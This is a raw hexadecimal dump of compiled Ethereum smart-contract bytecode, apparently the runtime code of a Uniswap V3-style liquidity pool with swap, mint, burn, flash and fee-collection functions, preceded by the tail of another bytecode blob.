5b81516154e290866135ef565b90505b60006155098360200151860384600001516001600160801b0316600160801b6132d9565b9050600061552f8460400151860385600001516001600160801b0316600160801b6132d9565b905086600f0b6000146155565787546001600160801b0319166001600160801b0384161788555b60018801869055600288018590556001600160801b03821615158061558457506000816001600160801b0316115b156155c2576003880180546001600160801b031981166001600160801b039182168501821617808216600160801b9182900483168501909216021790555b5050505050505050565b600290810b810b6000908152602092909252604082208281556001810183905590810182905560030155565b806001600160a01b0381168114612beb57600080fd5b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915290565b6040805160808101825260008082526020820181905291810182905260608101919091529056fea164736f6c6343000706000a	608060405234801561001057600080fd5b50600436106101ae5760003560e01c806370cf754a116100ee578063c45a015511610097578063ddca3f4311610071578063ddca3f4314610800578063f305839914610820578063f30dba9314610828578063f637731d146108aa576101ae565b8063c45a0155146107d1578063d0c93a7c146107d9578063d21220a7146107f8576101ae565b8063883bdbfd116100c8578063883bdbfd14610633578063a34123a71461073c578063a38807f214610776576101ae565b806370cf754a146105c65780638206a4d1146105ce57806385b66729146105f6576101ae565b80633850c7bd1161015b578063490e6cbc11610135578063490e6cbc146104705780634f1eb3d8146104fc578063514ea4bf1461054d5780635339c296146105a6576101ae565b80633850c7bd1461035b5780633c8a7d8d146103b45780634614131914610456576101ae565b80631ad8b03b1161018c5780631ad8b03b146102aa578063252c09d7146102e157806332148f6714610338576101ae565b80630dfe1681146101b3578063128acb08146101d75780631a68650214610286575b600080fd5b6101bb6108d0565b604080516001600160a01b039092168252519081900360200190f35b61026d600480360360a08110156101ed57600080fd5b6001600160a01b0382358116926020810135151592604082013592606083013516919081019060a08101608082013564010000000081111561022e57600080fd5b82018360208201111561024057600080fd5b8035906020019184600183028401116401000000008311171561026257600080fd5b5090925090506108f4565b6040805192835260208301919091528051918290030190f35b61028e6114ad565b604080516001600160801b039092168252519081900360200190f35b6102b26114bc565b60405180836001600160801b03168152602001826001600160801b031681526020019250505060405180910390f35b6102fe600480360360208110156102f757600080fd5b50356114d6565b6040805163ffffffff909516855260069390930b60208501526001600160a01b039091168383015215156060830152519081900360800190f35b6103596004803603602081101561034e57600080fd5b503561ffff1661151c565b005b610363611616565b604080516001600160a01b03909816885260029690960b602088015261ffff9485168787015292841660608701529216608085015260ff90911660a0840152151560c0830152519081900360e00190f35b61026d600480360360a08110156103ca57600080fd5b6001600160a01b03823516916020810135600290810b92604083013590910b916001600160801b036060820135169181019060a08101608082013564010000000081111561041757600080fd5b82018360208201111561042957600080fd5b8035906020019184600183028401116401000000008311171561044b57600080fd5b509092509050611666565b61045e611922565b60408051918252519081900360200190f35b6103596004803603608081101561048657600080fd5b6001600160a01b0382351691602081013591604082013591908101906080810160608201356401000000008111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460018302840111640100000000831117156104f157600080fd5b509092509050611928565b6102b2600480360360a081101561051257600080fd5b506001600160a01b03813516906020810135600290810b91604081013590910b906001600160801b0360608201358116916080013516611d83565b61056a6004803603602081101561056357600080fd5b5035611f9d565b604080516001600160801b0396871681526020810195909552848101939093529084166060840152909216608082015290519081900360a00190f35b61045e600480360360208110156105bc57600080fd5b503560010b611fda565b61028e611fec565b610359600480360360408110156105e457600080fd5b5060ff81358116916020013516612010565b6102b26004803603606081101561060c57600080fd5b506001600160a01b03813516906001600160801b036020820135811691604001351661220f565b6106a36004803603602081101561064957600080fd5b81019060208101813564010000000081111561066457600080fd5b82018360208201111561067657600080fd5b8035906020019184602083028401116401000000008311171561069857600080fd5b5090925090506124dc565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156106e75781810151838201526020016106cf565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561072657818101518382015260200161070e565b5050505090500194505050505060405180910390f35b61026d6004803603606081101561075257600080fd5b508035600290810b91602081013590910b90604001356001600160801b0316612569565b6107a06004803603604081101561078c57600080fd5b508035600290810b9160200135900b6126e0565b6040805160069490940b84526001600160a01b03909216602084015263ffffffff1682820152519081900360600190f35b6101bb6128d7565b6107e16128fb565b6040805160029290920b8252519081900360200190f35b6101bb61291f565b610808612943565b6040805162ffffff9092168252519081900360200190f35b61045e612967565b6108486004803603602081101561083e57600080fd5b503560020b61296d565b604080516001600160801b039099168952600f9790970b602089015287870195909552606087019390935260069190910b60808601526001600160a01b031660a085015263ffffffff1660c0840152151560e083015251908190036101000190f35b610359600480360360208110156108c057600080fd5b50356001600160a01b03166129db565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000806108ff612bf0565b85610936576040805162461bcd60e51b8152602060048201526002602482015261415360f01b604482015290519081900360640190fd5b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602083015261ffff600160b81b8204811693830193909352600160c81b810483166060830152600160d81b8104909216608082015260ff600160e81b8304811660a0830152600160f01b909204909116151560c082018190526109ef576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b87610a3a5780600001516001600160a01b0316866001600160a01b0316118015610a35575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038716105b610a6c565b80600001516001600160a01b0316866001600160a01b0316108015610a6c57506401000276a36001600160a01b038716115b610aa3576040805162461bcd60e51b815260206004820152600360248201526214d41360ea1b604482015290519081900360640190fd5b6000805460ff60f01b191681556040805160c08101909152808a610ad25760048460a0015160ff16901c610ae5565b60108460a0015160ff1681610ae357fe5b065b60ff1681526004546001600160801b03166020820152604001610b06612c27565b63ffffffff168152602001600060060b815260200160006001600160a01b031681526020016000151581525090506000808913905060006040518060e001604052808b81526020016000815260200185600001516001600160a01b03168152602001856020015160020b81526020018c610b8257600254610b86565b6001545b815260200160006001600160801b0316815260200184602001516001600160801b031681525090505b805115801590610bd55750886001600160a01b031681604001516001600160a01b031614155b15610f9f57610be261560e565b60408201516001600160a01b031681526060820151610c25906006907f00000000000000000000000000000000000000000000000000000000000000c88f612c2b565b15156040830152600290810b810b60208301819052620d89e719910b1215610c5657620d89e7196020820152610c75565b6020810151620d89e860029190910b1315610c7557620d89e860208201525b610c828160200151612d6d565b6001600160a01b031660608201526040820151610d13908d610cbc578b6001600160a01b031683606001516001600160a01b031611610cd6565b8b6001600160a01b031683606001516001600160a01b0316105b610ce4578260600151610ce6565b8b5b60c085015185517f000000000000000000000000000000000000000000000000000000000000271061309f565b60c085015260a084015260808301526001600160a01b031660408301528215610d7557610d498160c00151826080015101613291565b825103825260a0810151610d6b90610d6090613291565b6020840151906132a7565b6020830152610db0565b610d828160a00151613291565b825101825260c08101516080820151610daa91610d9f9101613291565b6020840151906132c3565b60208301525b835160ff1615610df6576000846000015160ff168260c0015181610dd057fe5b60c0840180519290910491829003905260a0840180519091016001600160801b03169052505b60c08201516001600160801b031615610e3557610e298160c00151600160801b8460c001516001600160801b03166132d9565b60808301805190910190525b80606001516001600160a01b031682604001516001600160a01b03161415610f5e57806040015115610f35578360a00151610ebf57610e9d846040015160008760200151886040015188602001518a606001516008613389909695949392919063ffffffff16565b6001600160a01b03166080860152600690810b900b6060850152600160a08501525b6000610f0b82602001518e610ed657600154610edc565b84608001515b8f610eeb578560800151610eef565b6002545b608089015160608a015160408b0151600595949392919061351c565b90508c15610f17576000035b610f258360c00151826135ef565b6001600160801b031660c0840152505b8b610f44578060200151610f4d565b60018160200151035b600290810b900b6060830152610f99565b80600001516001600160a01b031682604001516001600160a01b031614610f9957610f8c82604001516136a5565b600290810b900b60608301525b50610baf565b836020015160020b816060015160020b1461107a57600080610fed86604001518660400151886020015188602001518a606001518b6080015160086139d1909695949392919063ffffffff16565b604085015160608601516000805461ffff60c81b1916600160c81b61ffff958616021761ffff60b81b1916600160b81b95909416949094029290921762ffffff60a01b1916600160a01b62ffffff60029490940b93909316929092029190911773ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909116179055506110ac9050565b60408101516000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169190911790555b8060c001516001600160801b031683602001516001600160801b0316146110f25760c0810151600480546001600160801b0319166001600160801b039092169190911790555b8a1561114257608081015160015560a08101516001600160801b03161561113d5760a0810151600380546001600160801b031981166001600160801b03918216909301169190911790555b611188565b608081015160025560a08101516001600160801b0316156111885760a0810151600380546001600160801b03808216600160801b92839004821690940116029190911790555b8115158b1515146111a157602081015181518b036111ae565b80600001518a0381602001515b90965094508a156112e75760008512156111f0576111f07f000000000000000000000000f94e7d0710709388bce3161c32b4eea56d3f91cc8d87600003613b86565b60006111fa613cd4565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561127e57600080fd5b505af1158015611292573d6000803e3d6000fd5b5050505061129e613cd4565b6112a88289613e0d565b11156112e1576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b50611411565b600086121561131e5761131e7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28d88600003613b86565b6000611328613e1d565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156113ac57600080fd5b505af11580156113c0573d6000803e3d6000fd5b505050506113cc613e1d565b6113d68288613e0d565b111561140f576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b505b60408082015160c083015160608085015184518b8152602081018b90526001600160a01b03948516818701526001600160801b039093169183019190915260020b60808201529151908e169133917fc42079f94a6350d7e6235f29174924f928cc2ac818eb64fed8004e115fbcca679181900360a00190a350506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b6004546001600160801b031681565b6003546001600160801b0380821691600160801b90041682565b60088161ffff81106114e757600080fd5b015463ffffffff81169150640100000000810460060b90600160581b81046001600160a01b031690600160f81b900460ff1684565b600054600160f01b900460ff16611560576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611575612bf0565b60008054600160d81b900461ffff169061159160088385613eb5565b6000805461ffff808416600160d81b810261ffff60d81b19909316929092179092559192508316146115fe576040805161ffff80851682528316602082015281517fac49e518f90a358f652e4400164f05a5d8f7e35e7747279bc3a93dbf584e125a929181900390910190a15b50506000805460ff60f01b1916600160f01b17905550565b6000546001600160a01b03811690600160a01b810460020b9061ffff600160b81b8204811691600160c81b8104821691600160d81b8204169060ff600160e81b8204811691600160f01b90041687565b600080548190600160f01b900460ff166116ad576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b191690556001600160801b0385166116cd57600080fd5b60008061171b60405180608001604052808c6001600160a01b031681526020018b60020b81526020018a60020b81526020016117118a6001600160801b0316613f58565b600f0b9052613f69565b9250925050819350809250600080600086111561173d5761173a613cd4565b91505b841561174e5761174b613e1d565b90505b336001600160a01b031663d348799787878b8b6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156117d057600080fd5b505af11580156117e4573d6000803e3d6000fd5b50505050600086111561183b576117f9613cd4565b6118038388613e0d565b111561183b576040805162461bcd60e51b815260206004820152600260248201526104d360f41b604482015290519081900360640190fd5b841561188b57611849613e1d565b6118538287613e0d565b111561188b576040805162461bcd60e51b81526020600482015260026024820152614d3160f01b604482015290519081900360640190fd5b8960020b8b60020b8d6001600160a01b03167f7a53080ba414158be7ec69b987b5fb7d07dee101fe85488f0853ae16239d0bde338d8b8b60405180856001600160a01b03168152602001846001600160801b0316815260200183815260200182815260200194505050505060405180910390a450506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b60025481565b600054600160f01b900460ff1661196c576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611981612bf0565b6004546001600160801b0316806119c3576040805162461bcd60e51b81526020600482015260016024820152601360fa1b604482015290519081900360640190fd5b60006119f8867f000000000000000000000000000000000000000000000000000000000000271062ffffff16620f42406141a9565b90506000611a2f867f000000000000000000000000000000000000000000000000000000000000271062ffffff16620f42406141a9565b90506000611a3b613cd4565b90506000611a47613e1d565b90508815611a7a57611a7a7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28b8b613b86565b8715611aab57611aab7f000000000000000000000000f94e7d0710709388bce3161c32b4eea56d3f91cc8b8a613b86565b336001600160a01b031663e9cbafb085858a8a6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015611b2d57600080fd5b505af1158015611b41573d6000803e3d6000fd5b505050506000611b4f613cd4565b90506000611b5b613e1d565b905081611b688588613e0d565b1115611ba0576040805162461bcd60e51b8152602060048201526002602482015261046360f41b604482015290519081900360640190fd5b80611bab8487613e0d565b1115611be3576040805162461bcd60e51b8152602060048201526002602482015261463160f01b604482015290519081900360640190fd5b8382038382038115611c725760008054600160e81b9004600f16908115611c16578160ff168481611c1057fe5b04611c19565b60005b90506001600160801b03811615611c4c57600380546001600160801b038082168401166001600160801b03199091161790555b611c66818503600160801b8d6001600160801b03166132d9565b60018054909101905550505b8015611cfd5760008054600160e81b900460041c600f16908115611ca2578160ff168381611c9c57fe5b04611ca5565b60005b90506001600160801b03811615611cd757600380546001600160801b03600160801b8083048216850182160291161790555b611cf1818403600160801b8d6001600160801b03166132d9565b60028054909101905550505b8d6001600160a01b0316336001600160a01b03167fbdbdb71d7860376ba52b25a5028beea23581364a40522f6bcfb86bb1f2dca6338f8f86866040518085815260200184815260200183815260200182815260200194505050505060405180910390a350506000805460ff60f01b1916600160f01b179055505050505050505050505050565b600080548190600160f01b900460ff16611dca576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19168155611de460073389896141e3565b60038101549091506001600160801b0390811690861611611e055784611e14565b60038101546001600160801b03165b60038201549093506001600160801b03600160801b909104811690851611611e3c5783611e52565b6003810154600160801b90046001600160801b03165b91506001600160801b03831615611eb7576003810180546001600160801b031981166001600160801b03918216869003821617909155611eb7907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2908a908616613b86565b6001600160801b03821615611f1d576003810180546001600160801b03600160801b808304821686900382160291811691909117909155611f1d907f000000000000000000000000f94e7d0710709388bce3161c32b4eea56d3f91cc908a908516613b86565b604080516001600160a01b038a1681526001600160801b0380861660208301528416818301529051600288810b92908a900b9133917f70935338e69775456a85ddef226c395fb668b63fa0115f5f20610b388e6ca9c0919081900360600190a4506000805460ff60f01b1916600160f01b17905590969095509350505050565b60076020526000908152604090208054600182015460028301546003909301546001600160801b0392831693919281811691600160801b90041685565b60066020526000908152604090205481565b7f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc81565b600054600160f01b900460ff16612054576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f9841691638da5cb5b916004808301926020929190829003018186803b1580156120c157600080fd5b505afa1580156120d5573d6000803e3d6000fd5b505050506040513d60208110156120eb57600080fd5b50516001600160a01b0316331461210157600080fd5b60ff82161580612124575060048260ff16101580156121245750600a8260ff1611155b801561214e575060ff8116158061214e575060048160ff161015801561214e5750600a8160ff1611155b61215757600080fd5b60008054610ff0600484901b16840160ff908116600160e81b9081027fffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841617909355919004167f973d8d92bb299f4af6ce49b52a8adb85ae46b9f214c4c4fc06ac77401237b1336010826040805160ff9390920683168252600f600486901c16602083015286831682820152918516606082015290519081900360800190a150506000805460ff60f01b1916600160f01b17905550565b600080548190600160f01b900460ff16612256576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f9841691638da5cb5b916004808301926020929190829003018186803b1580156122c357600080fd5b505afa1580156122d7573d6000803e3d6000fd5b505050506040513d60208110156122ed57600080fd5b50516001600160a01b0316331461230357600080fd5b6003546001600160801b039081169085161161231f578361232c565b6003546001600160801b03165b6003549092506001600160801b03600160801b9091048116908416116123525782612366565b600354600160801b90046001600160801b03165b90506001600160801b038216156123e7576003546001600160801b038381169116141561239557600019909101905b600380546001600160801b031981166001600160801b039182168590038216179091556123e7907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29087908516613b86565b6001600160801b0381161561246d576003546001600160801b03828116600160801b90920416141561241857600019015b600380546001600160801b03600160801b80830482168590038216029181169190911790915561246d907f000000000000000000000000f94e7d0710709388bce3161c32b4eea56d3f91cc9087908416613b86565b604080516001600160801b0380851682528316602082015281516001600160a01b0388169233927f596b573906218d3411850b26a6b437d6c4522fdb43d2d2386263f86d50b8b151929081900390910190a36000805460ff60f01b1916600160f01b1790559094909350915050565b6060806124e7612bf0565b61255e6124f2612c27565b858580806020026020016040519081016040528093929190818152602001838360200280828437600092018290525054600454600896959450600160a01b820460020b935061ffff600160b81b8304811693506001600160801b0390911691600160c81b900416614247565b915091509250929050565b600080548190600160f01b900460ff166125b0576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916815560408051608081018252338152600288810b602083015287900b918101919091528190819061260990606081016125fc6001600160801b038a16613f58565b600003600f0b9052613f69565b925092509250816000039450806000039350600085118061262a5750600084115b15612669576003830180546001600160801b038082168089018216600160801b93849004831689019092169092029091176001600160801b0319161790555b604080516001600160801b0388168152602081018790528082018690529051600289810b92908b900b9133917f0c396cd989a39f4459b5fa1aed6a9a8dcdbc45908acfd67e028cd568da98982c919081900360600190a450506000805460ff60f01b1916600160f01b179055509094909350915050565b60008060006126ed612bf0565b6126f785856143a1565b600285810b810b60009081526005602052604080822087840b90930b825281206003830154600681900b9367010000000000000082046001600160a01b0316928492600160d81b810463ffffffff169284929091600160f81b900460ff168061275f57600080fd5b6003820154600681900b985067010000000000000081046001600160a01b03169650600160d81b810463ffffffff169450600160f81b900460ff16806127a457600080fd5b50506040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b810b6020840181905261ffff600160b81b8404811695850195909552600160c81b830485166060850152600160d81b8304909416608084015260ff600160e81b8304811660a0850152600160f01b909204909116151560c08301529093508e810b91900b1215905061284d575093909403965090039350900390506128d0565b8a60020b816020015160020b12156128c1576000612869612c27565b602083015160408401516004546060860151939450600093849361289f936008938893879392916001600160801b031690613389565b9a9003989098039b5050949096039290920396509091030392506128d0915050565b50949093039650039350900390505b9250925092565b7f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98481565b7f00000000000000000000000000000000000000000000000000000000000000c881565b7f000000000000000000000000f94e7d0710709388bce3161c32b4eea56d3f91cc81565b7f000000000000000000000000000000000000000000000000000000000000271081565b60015481565b60056020526000908152604090208054600182015460028301546003909301546001600160801b03831693600160801b909304600f0b9290600681900b9067010000000000000081046001600160a01b031690600160d81b810463ffffffff1690600160f81b900460ff1688565b6000546001600160a01b031615612a1e576040805162461bcd60e51b8152602060048201526002602482015261414960f01b604482015290519081900360640190fd5b6000612a29826136a5565b9050600080612a41612a39612c27565b60089061446a565b6040805160e0810182526001600160a01b038816808252600288810b6020808501829052600085870181905261ffff898116606088018190529089166080880181905260a08801839052600160c0909801979097528154600160f01b73ffffffffffffffffffffffffffffffffffffffff19909116871762ffffff60a01b1916600160a01b62ffffff9787900b9790971696909602959095177fffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffff16600160c81b9091021761ffff60d81b1916600160d81b909602959095177fff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1692909217909355835191825281019190915281519395509193507f98636036cb66a9c19a37435efc1e90142190214e8abeb821bdba3f2990dd4c9592918290030190a150505050565b60008082600281900b620d89e71981612b9957fe5b05029050600083600281900b620d89e881612bb057fe5b0502905060008460020b83830360020b81612bc757fe5b0560010190508062ffffff166001600160801b03801681612be457fe5b0493505050505b919050565b306001600160a01b037f000000000000000000000000be24f9952bf2a15bc4d2661151049d9588d6c0cb1614612c2557600080fd5b565b4290565b60008060008460020b8660020b81612c3f57fe5b05905060008660020b128015612c6657508460020b8660020b81612c5f57fe5b0760020b15155b15612c7057600019015b8315612ce557600080612c82836144b6565b600182810b810b600090815260208d9052604090205460ff83169190911b80016000190190811680151597509294509092509085612cc757888360ff16860302612cda565b88612cd1826144c8565b840360ff168603025b965050505050612d63565b600080612cf4836001016144b6565b91509150600060018260ff166001901b031990506000818b60008660010b60010b8152602001908152602001600020541690508060001415955085612d4657888360ff0360ff16866001010102612d5c565b8883612d5183614568565b0360ff168660010101025b9650505050505b5094509492505050565b60008060008360020b12612d84578260020b612d8c565b8260020b6000035b9050620d89e8811115612dca576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b600060018216612dde57600160801b612df0565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615612e24576ffff97272373d413259a46990580e213a0260801c5b6004821615612e43576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615612e62576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615612e81576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615612ea0576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615612ebf576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615612ede576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615612efe576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615612f1e576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615612f3e576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615612f5e576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615612f7e576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615612f9e576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615612fbe576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615612fde576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615612fff576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161561301f576e5d6af8dedb81196699c329225ee6040260801c5b6204000082161561303e576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161561305b576b048a170391f7dc42444e8fa20260801c5b60008460020b131561307657806000198161307257fe5b0490505b64010000000081061561308a57600161308d565b60005b60ff16602082901c0192505050919050565b60008080806001600160a01b03808916908a1610158187128015906131245760006130d88989620f42400362ffffff16620f42406132d9565b9050826130f1576130ec8c8c8c6001614652565b6130fe565b6130fe8b8d8c60016146cd565b955085811061310f578a965061311e565b61311b8c8b838661478a565b96505b5061316e565b8161313b576131368b8b8b60006146cd565b613148565b6131488a8c8b6000614652565b935083886000031061315c5789955061316e565b61316b8b8a8a600003856147d6565b95505b6001600160a01b038a81169087161482156131d15780801561318d5750815b6131a35761319e878d8c60016146cd565b6131a5565b855b95508080156131b2575081155b6131c8576131c3878d8c6000614652565b6131ca565b845b945061321b565b8080156131db5750815b6131f1576131ec8c888c6001614652565b6131f3565b855b9550808015613200575081155b613216576132118c888c60006146cd565b613218565b845b94505b8115801561322b57508860000385115b15613237578860000394505b81801561325657508a6001600160a01b0316876001600160a01b031614155b15613265578589039350613282565b61327f868962ffffff168a620f42400362ffffff166141a9565b93505b50505095509550955095915050565b6000600160ff1b82106132a357600080fd5b5090565b808203828113156000831215146132bd57600080fd5b92915050565b818101828112156000831215146132bd57600080fd5b600080806000198587098686029250828110908390030390508061330f576000841161330457600080fd5b508290049050613382565b80841161331b57600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150505b9392505050565b60008063ffffffff8716613430576000898661ffff1661ffff81106133aa57fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff16151560608301529092508a161461341c57613419818a8988614822565b90505b806020015181604001519250925050613510565b8688036000806134458c8c858c8c8c8c6148d2565b91509150816000015163ffffffff168363ffffffff161415613477578160200151826040015194509450505050613510565b805163ffffffff8481169116141561349f578060200151816040015194509450505050613510565b8151815160208085015190840151918390039286039163ffffffff80841692908516910360060b816134cd57fe5b05028460200151018263ffffffff168263ffffffff1686604001518660400151036001600160a01b031602816134ff57fe5b048560400151019650965050505050505b97509795505050505050565b600295860b860b60009081526020979097526040909620600181018054909503909455938301805490920390915560038201805463ffffffff600160d81b6001600160a01b036701000000000000008085048216909603169094027fffffffffff0000000000000000000000000000000000000000ffffffffffffff90921691909117600681810b90960390950b66ffffffffffffff1666ffffffffffffff199095169490941782810485169095039093160263ffffffff60d81b1990931692909217905554600160801b9004600f0b90565b60008082600f0b121561365457826001600160801b03168260000384039150816001600160801b03161061364f576040805162461bcd60e51b81526020600482015260026024820152614c5360f01b604482015290519081900360640190fd5b6132bd565b826001600160801b03168284019150816001600160801b031610156132bd576040805162461bcd60e51b81526020600482015260026024820152614c4160f01b604482015290519081900360640190fd5b60006401000276a36001600160a01b038316108015906136e1575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b613716576040805162461bcd60e51b81526020600482015260016024820152602960f91b604482015290519081900360640190fd5b77ffffffffffffffffffffffffffffffffffffffff00000000602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c979088119617909417909217179091171717608081106137b757607f810383901c91506137c1565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b146139c257886001600160a01b03166139a682612d6d565b6001600160a01b031611156139bb57816139bd565b805b6139c4565b815b9998505050505050505050565b6000806000898961ffff1661ffff81106139e757fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff161515606083015290925089161415613a575788859250925050613510565b8461ffff168461ffff16118015613a7857506001850361ffff168961ffff16145b15613a8557839150613a89565b8491505b8161ffff168960010161ffff1681613a9d57fe5b069250613aac81898989614822565b8a8461ffff1661ffff8110613abd57fe5b825191018054602084015160408501516060909501511515600160f81b027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6001600160a01b03909616600160581b027fff0000000000000000000000000000000000000000ffffffffffffffffffffff60069390930b66ffffffffffffff16640100000000026affffffffffffff000000001963ffffffff90971663ffffffff199095169490941795909516929092171692909217929092161790555097509795505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b60208310613c025780518252601f199092019160209182019101613be3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613c64576040519150601f19603f3d011682016040523d82523d6000602084013e613c69565b606091505b5091509150818015613c97575080511580613c975750808060200190516020811015613c9457600080fd5b50515b613ccd576040805162461bcd60e51b81526020600482015260026024820152612a2360f11b604482015290519081900360640190fd5b5050505050565b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21693919290918291908083835b60208310613d6d5780518252601f199092019160209182019101613d4e565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114613dcd576040519150601f19603f3d011682016040523d82523d6000602084013e613dd2565b606091505b5091509150818015613de657506020815110155b613def57600080fd5b808060200190516020811015613e0457600080fd5b50519250505090565b808201828110156132bd57600080fd5b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f000000000000000000000000f94e7d0710709388bce3161c32b4eea56d3f91cc16939192909182919080838360208310613d6d5780518252601f199092019160209182019101613d4e565b6000808361ffff1611613ef3576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b8261ffff168261ffff1611613f09575081613382565b825b8261ffff168161ffff161015613f4f576001858261ffff1661ffff8110613f2e57fe5b01805463ffffffff191663ffffffff92909216919091179055600101613f0b565b50909392505050565b80600f81900b8114612beb57600080fd5b6000806000613f76612bf0565b613f88846020015185604001516143a1565b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602080840182905261ffff600160b81b8404811685870152600160c81b84048116606080870191909152600160d81b8504909116608086015260ff600160e81b8504811660a0870152600160f01b909404909316151560c08501528851908901519489015192890151939461402c9491939092909190614acf565b93508460600151600f0b6000146141a157846020015160020b816020015160020b12156140815761407a6140638660200151612d6d565b6140708760400151612d6d565b8760600151614c84565b92506141a1565b846040015160020b